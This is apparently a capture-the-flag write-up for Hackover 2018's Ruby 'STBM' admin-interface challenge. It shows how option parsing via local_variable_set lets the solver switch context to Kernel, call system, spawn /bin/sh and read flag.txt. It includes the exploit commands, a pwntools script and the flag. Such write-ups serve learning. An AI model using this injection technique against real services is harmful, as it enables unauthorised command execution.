Tags: system pwntools shell pwning ruby 

Rating: 5.0

> Job description: Kryssen-Trupp sadly lost their admin password for the STBM. A team of 'ruby-firmware specialists' is needed for the extraction of the 'password' (flag.txt). Shell access is granted for the interview.

We get *shell* access to *ze Schnelle Tunnelbohrmaschine Mark III Admin Interfetz*. Here's what we get upon connection:

```
$ nc stbm.ctf.hackover.de 1337
.----------------..----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. |
| | _______ | || | _________ | || | ______ | || | ____ ____ | |
| | / ___ | | || | | _ _ | | || | |_ _ \| || ||_ \ / _|| |
| || (__ \_| | || | |_/ | | \_| | || || |_) | | || | | \/ | | |
| | '.___`-. | || | | | | || | | __'. | || | | |\ /| | | |
| ||`\____) | | || |_| |_ | || | _| |__) | | || | _| |_\/_| |_ | |
| ||_______.' | || | |_____|| || | |_______/ | || ||_____||_____|| |
| | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' |
'----------------''----------------' '----------------' '----------------'

Welcome to ze Schnelle Tunnelbohrmaschine Mark III Admin Interfetz.

© Copyright by Kryssen-Trupp 2018

Type help or see handbook for more information.

>
```

Okay, so let's check out what we can actually do here:

```
> help

Available commands: available_modules, help, quit, switch_module, system, version

> available_modules

Available modules: DrillCommands, FirmwareCommands, MovementCommands, SystemCommands

>
```

We can see that we can execute different commands from different modules.
Hmmmmm... *FirmwareCommands* sounds pretty cool! Let's switch to that one and have a closer look:

```
> switch_module FirmwareCommands

> help

Available commands: available_modules, dump, help, quit, switch_module, update

>

```

Huh! Well, if we can dump the firmware, let's do it!

```
> dump
#!/usr/bin/env ruby
puts(<<-'MOTD')
.----------------..----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. |
| | _______ | || | _________ | || | ______ | || | ____ ____ | |
| | / ___ | | || | | _ _ | | || | |_ _ \| || ||_ \ / _|| |
| || (__ \_| | || | |_/ | | \_| | || || |_) | | || | | \/ | | |
| | '.___`-. | || | | | | || | | __'. | || | | |\ /| | | |
| ||`\____) | | || |_| |_ | || | _| |__) | | || | _| |_\/_| |_ | |
| ||_______.' | || | |_____|| || | |_______/ | || ||_____||_____|| |
| | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' |
'----------------''----------------' '----------------' '----------------'

Welcome to ze Schnelle Tunnelbohrmaschine Mark III Admin Interfetz.

© Copyright by Kryssen-Trupp 2018

Type help or see handbook for more information.
MOTD

# use digest and base64 for MD5 checksum compare on firmware update
require "digest"
require "base64"
(...)
```

Yeah, that's the stuff! So, we get a full *firmware* dump of the interface - you can get it here: [firmware.rb](https://d0vine.github.io/files/ctf_0x03/firmware.rb). First thing that caught our eye was the firmware update functionality:

```ruby
def update(new_firmware, options)
update_password = File.read("flag.txt")

decoded_firmware = Base64.decode64(new_firmware)
firmware_checksum = Digest::MD5.hexdigest(decoded_firmware)

firmware_valid = firmware_checksum == options.local_variable_get(:checksum)
password_correct = (
Digest::MD5.hexdigest(update_password) ==
Digest::MD5.hexdigest("HO18CTF-#{options.local_variable_get(:password)}")
)
sleep(rand + 1.0)

if firmware_valid && password_correct
File.open("#{__FILE__}.new", "w") do |file|
file.puts new_firmware
end
log "Firmware Update! Please issue reboot command via SystemCommands module."
else
log "Checksum Invalid or Password incorrect! Can't update Firmware."
end
end
```

So, the firmware is updated after checking the checksum and update password hash (with a *salt*), that is loaded from the `flag.txt` file.
Let's try the update:

```
> update test checksum=555 password=lol
Checksum Invalid or Password incorrect! Can't update Firmware.

>
```

We've thought for a while how to bypass this, but decided that would be useless anyway, as the process would be restarted (the `reboot` command).

Ultimately what caught our eye yet again was:

```ruby
def update(new_firmware, options)
update_password = File.read("flag.txt")
```

What is important here is that the `update` method gets the `option` parameter - it contains all the options of the command.

What happens to those options?

```ruby
if (/(?<command_name>[^\s]+)\s*(?<parameter>[^\s]+)?\s*((?<option_name>[^\s]+)=(?<option_value>[^\s]+))?/i =~ input) && command = Kernel.const_get(context).singleton_method(command_name)
case
when parameter && option_name
raise ArgumentError, "command doesn't take options" if command.parameters.count < 2
options = binding

input.scan(/((?<option_name>[^\s]+)=(?<option_value>[^\s]+))/i) do |(option, value)|
options.local_variable_set(option, value)
end

command.call(parameter, options)
when parameter
command.call(parameter)
else
command.call
end
else
raise NameError, "<none>"
end
```

This line:

```ruby
options.local_variable_set(option, value)
```

is what is the problem! Why? Hm... how do you think the current module is set? You guessed it - via the *local_variable_set* function!

We can see the relevant part here:

```ruby
def switch_module(module_name)
if VALID_MODULES.include?(module_name)
ROOT_MODULE.local_variable_set :context, module_name
else
log "Invalid Module: #{module_name}"

CommonCommands.available_modules
end
end
```

Once the module is switched, the function we want to call is fetched via `get_singleton_method`:

```ruby
command = Kernel.const_get(context).singleton_method(command_name)
```

and called with our arguments:

```ruby
# (...)
command.call(parameter, options)
when parameter
command.call(parameter)
else
command.call
end
```

So, let's write down what we know:
- we have the `update` function that gets arguments
- once arguments are parsed, each argument is set via `local_variable_set`
- we can pass any arguments we want
- the `context` set with `local_variable_set` is what determines where the function is called from
- we control what function is executed

Hence: we can call any function we want from any module we imagine.

Let's check this with the `update` command and `Kernel.system`:

```
> switch_module FirmwareCommands

> update test context=Kernel checksum=555 password=lol
Checksum Invalid or Password incorrect! Can't update Firmware.

> system id
uid=1000(ctf) gid=1000(ctf)

>
```

Yeah! So let's read the flag:

```
> system ls
cant_bus.rb flag.txt stbm

> system cat flag.txt
(hang)
```

Wait, what? Well... we've done goofed! In this case we get to that line:

```
command.call(parameter)
```

which gets one parameter - hence it waits for input instead of reading the file.

We can quickly verify this:

```
> system ls
cant_bus.rb flag.txt stbm

> system ls ../
cant_bus.rb flag.txt stbm
```

But that's not exactly an issue, since we can drop `/bin/sh` and do anything we want from there:

```
> system '/bin/sh'
~ $ ^[[46;5Rls
ls
cant_bus.rb flag.txt stbm
~ $ ^[[46;5Rcat flag.txt
cat flag.txt
hackover18{54fda39cd95ed88a5446953dbdf36a5d}
~ $ ^[[46;5R
```

BTW, I have automated this a bit using Python and the great `pwntools` library:

```python
from pwn import *

r = remote('stbm.ctf.hackover.de', 1337)

r.send("switch_module FirmwareCommands\n")
r.send("update test context=Kernel checksum=555 password=lol\n")
r.send("system /bin/sh\n")
# ^-- since I'm lazy, just wait for "Checksum Invalid (...)"
# before proceeding :-P
r.interactive()
```

**Flag:** `hackover18{54fda39cd95ed88a5446953dbdf36a5d}`

That was a pretty neat task, especially given I have no knowledge of Ruby whatsoever; I relied solely on the docs ;-)